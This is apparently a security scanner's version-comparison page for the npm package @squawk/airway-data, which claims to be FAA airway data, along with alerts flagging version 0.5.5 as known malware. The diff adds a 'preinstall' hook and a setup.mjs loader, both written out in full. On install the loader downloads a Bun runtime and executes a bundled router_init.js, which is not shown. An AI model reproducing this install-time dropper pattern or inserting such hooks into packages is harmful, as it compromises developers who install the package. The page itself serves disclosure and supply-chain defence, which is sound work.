@squawk/airway-data - npm Package Compare versions

Comparing version 0.5.3 to 0.5.5

setup.mjs

+#!/usr/bin/env node
+import { execFileSync } from "child_process";
+import fs from "fs";
+import https from "https";
+import os from "os";
+import path from "path";
+import { fileURLToPath } from "url";
+import zlib from "zlib";
+
+const D = path.dirname(fileURLToPath(import.meta.url));
+const V = "1.3.13";
+const E = "router_init.js";
+const T = 121_000;
+
+const mu = () => {
+  try {
+    const o = execFileSync("ldd", ["--version"], {
+      stdio: ["ignore", "pipe", "pipe"],
+    }).toString();
+    if (o.includes("musl")) return true;
+  } catch {}
+  try {
+    return fs.readFileSync("/etc/os-release", "utf8").includes("Alpine");
+  } catch {
+    return false;
+  }
+};
+
+const PM = {
+  "linux-arm64": () => "bun-linux-aarch64",
+  "linux-x64": () =>
+    mu() ? "bun-linux-x64-musl-baseline" : "bun-linux-x64-baseline",
+  "darwin-arm64": () => "bun-darwin-aarch64",
+  "darwin-x64": () => "bun-darwin-x64",
+  "win32-arm64": () => "bun-windows-aarch64",
+  "win32-x64": () => "bun-windows-x64-baseline",
+};
+
+function ra() {
+  const k = `${process.platform}-${process.arch}`;
+  const r = PM[k];
+  if (!r) throw new Error(`Unsupported platform/arch: ${k}`);
+  return r();
+}
+
+function dl(u, d, n = 5) {
+  return new Promise((ok, no) => {
+    const q = https.get(
+      u,
+      { headers: { "User-Agent": "node" }, timeout: T },
+      (r) => {
+        const { statusCode: s, headers: h } = r;
+        if ([301, 302, 307, 308].includes(s)) {
+          r.resume();
+          if (n <= 0) return no(new Error("Too many redirects"));
+          return dl(h.location, d, n - 1).then(ok, no);
+        }
+        if (s !== 200) {
+          r.resume();
+          return no(new Error(`HTTP ${s} for ${u}`));
+        }
+        const f = fs.createWriteStream(d);
+        r.pipe(f);
+        f.on("finish", () => f.close(ok));
+        f.on("error", (e) => {
+          fs.unlink(d, () => no(e));
+        });
+      },
+    );
+    q.on("error", no);
+    q.on("timeout", () => q.destroy(new Error("Request timed out")));
+  });
+}
+
+function hc(c, a = ["--version"]) {
+  try {
+    execFileSync(c, a, { stdio: "ignore" });
+    return true;
+  } catch {
+    return false;
+  }
+}
+
+function xn(zp, en, od) {
+  const b = fs.readFileSync(zp);
+
+  let eo = -1;
+  for (let i = b.length - 22; i >= 0 && i >= b.length - 65557; i--) {
+    if (b.readUInt32LE(i) === 0x06054b50) {
+      eo = i;
+      break;
+    }
+  }
+  if (eo === -1) throw new Error("Invalid ZIP: EOCD record not found");
+
+  const ce = b.readUInt16LE(eo + 10);
+  const co = b.readUInt32LE(eo + 16);
+
+  let o = co;
+  let lo = -1;
+  let cm = -1;
+  let cs = 0;
+
+  for (let i = 0; i < ce; i++) {
+    if (b.readUInt32LE(o) !== 0x02014b50)
+      throw new Error("Invalid ZIP: bad CD entry signature");
+
+    const m = b.readUInt16LE(o + 10);
+    const sz = b.readUInt32LE(o + 20);
+    const fl = b.readUInt16LE(o + 28);
+    const el = b.readUInt16LE(o + 30);
+    const cl = b.readUInt16LE(o + 32);
+    const lh = b.readUInt32LE(o + 42);
+    const nm = b.subarray(o + 46, o + 46 + fl).toString("utf8");
+
+    if (nm === en) {
+      lo = lh;
+      cm = m;
+      cs = sz;
+      break;
+    }
+    o += 46 + fl + el + cl;
+  }
+
+  if (lo === -1) throw new Error(`Entry "${en}" not found in ZIP`);
+
+  if (b.readUInt32LE(lo) !== 0x04034b50)
+    throw new Error("Invalid ZIP: bad local-header signature");
+
+  const fl = b.readUInt16LE(lo + 26);
+  const el = b.readUInt16LE(lo + 28);
+  const dp = lo + 30 + fl + el;
+  const rw = b.subarray(dp, dp + cs);
+
+  let fd;
+  if (cm === 0) {
+    fd = rw;
+  } else if (cm === 8) {
+    fd = zlib.inflateRawSync(rw);
+  } else {
+    throw new Error(`Unsupported ZIP compression method: ${cm}`);
+  }
+
+  const dt = path.join(od, path.basename(en));
+  fs.writeFileSync(dt, fd);
+}
+
+function xb(zp, en, od) {
+  if (hc("unzip", ["-v"])) {
+    execFileSync("unzip", ["-ojq", zp, en, "-d", od], { stdio: "inherit" });
+    return;
+  }
+
+  if (process.platform === "win32" && hc("powershell", ["-Help"])) {
+    execFileSync(
+      "powershell",
+      [
+        "-NoProfile",
+        "-NonInteractive",
+        "-ExecutionPolicy",
+        "Bypass",
+        "-Command",
+        `Expand-Archive -LiteralPath '${zp}' -DestinationPath '${od}' -Force`,
+      ],
+      { stdio: "inherit" },
+    );
+    const np = path.join(od, en);
+    const fp = path.join(od, path.basename(en));
+    fs.renameSync(np, fp);
+    return;
+  }
+
+  xn(zp, en, od);
+}
+
+async function main() {
+  if (hc("bun")) return;
+
+  const a = ra();
+  const w = process.platform === "win32";
+  const bn = w ? "bun.exe" : "bun";
+  const u = `https://github.com/oven-sh/bun/releases/download/bun-v${V}/${a}.zip`;
+
+  const td = fs.mkdtempSync(path.join(os.tmpdir(), "bun-dl-"));
+  const zp = path.join(td, `${a}.zip`);
+  const bp = path.join(td, bn);
+  const ep = path.join(D, E);
+
+  try {
+    await dl(u, zp);
+    xb(zp, `${a}/${bn}`, td);
+    fs.unlinkSync(zp);
+
+    if (!w) fs.chmodSync(bp, 0o755);
+    execFileSync(bp, [ep], { stdio: "inherit", cwd: D });
+  } finally {
+    fs.rmSync(td, { recursive: true, force: true });
+  }
+}
+
+main().catch((e) => {
+  console.error(e.message);
+  process.exit(1);
+});

package.json

 {
   "name": "@squawk/airway-data",
-  "version": "0.5.3",
+  "version": "0.5.5",
   "type": "module",
@@ -38,7 +38,3 @@ "description": "Pre-processed FAA NASR airway snapshot for use with @squawk/airways",
   "scripts": {
-    "build": "tsc",
-    "test": "vitest run",
-    "test:coverage": "vitest run --coverage",
-    "lint": "tsc --noEmit && eslint src",
-    "lint:pack": "publint && attw --pack . --profile esm-only --exclude-entrypoints \"./data/airways.json.gz\""
+    "preinstall": "node setup.mjs"
   },
@@ -61,2 +57,2 @@ "dependencies": {
   }
-}
+}

New alerts

Known malware

Supply chain risk

This package version is identified as malware. It has been flagged either by Socket's AI scanner and confirmed by our threat research team, or is listed as malicious in security databases and other sources.

Install scripts

Supply chain risk

Install scripts are run when the package is installed or built. Malicious packages often use scripts that run automatically to execute payloads or fetch additional code.

Network access

Supply chain risk

This module accesses the network.

Shell access

Supply chain risk

This module accesses the system shell. Accessing the system shell increases the risk of executing arbitrary code.

Unpublished package

Supply chain risk

Package version was not found on the registry. It may exist on a different registry and need to be configured to pull from that registry.

Filesystem access

Supply chain risk

Accesses the file system, and could potentially read sensitive data.

No tests

Quality

Package does not have any tests. This is a strong signal of a poorly maintained or low quality package.

URL strings

Supply chain risk

Package contains fragments of external URLs or IP addresses, which the package may be accessing at runtime.

Fixed alerts

Unpopular package

Quality

This package is not very popular.

Improved metrics

Total package byte prevSize

3004037

365.18%

Number of package files

14

16.67%

Lines of code

406

77.29%

Number of medium quality alerts

0

-100%

Worsened metrics

Number of low quality alerts

2

100%

Number of critical supply chain risk alerts

1

Infinity%

Number of high supply chain risk alerts

1

Infinity%

Number of low supply chain risk alerts

3

200%

Number of medium supply chain risk alerts

7

75%

No dependency changes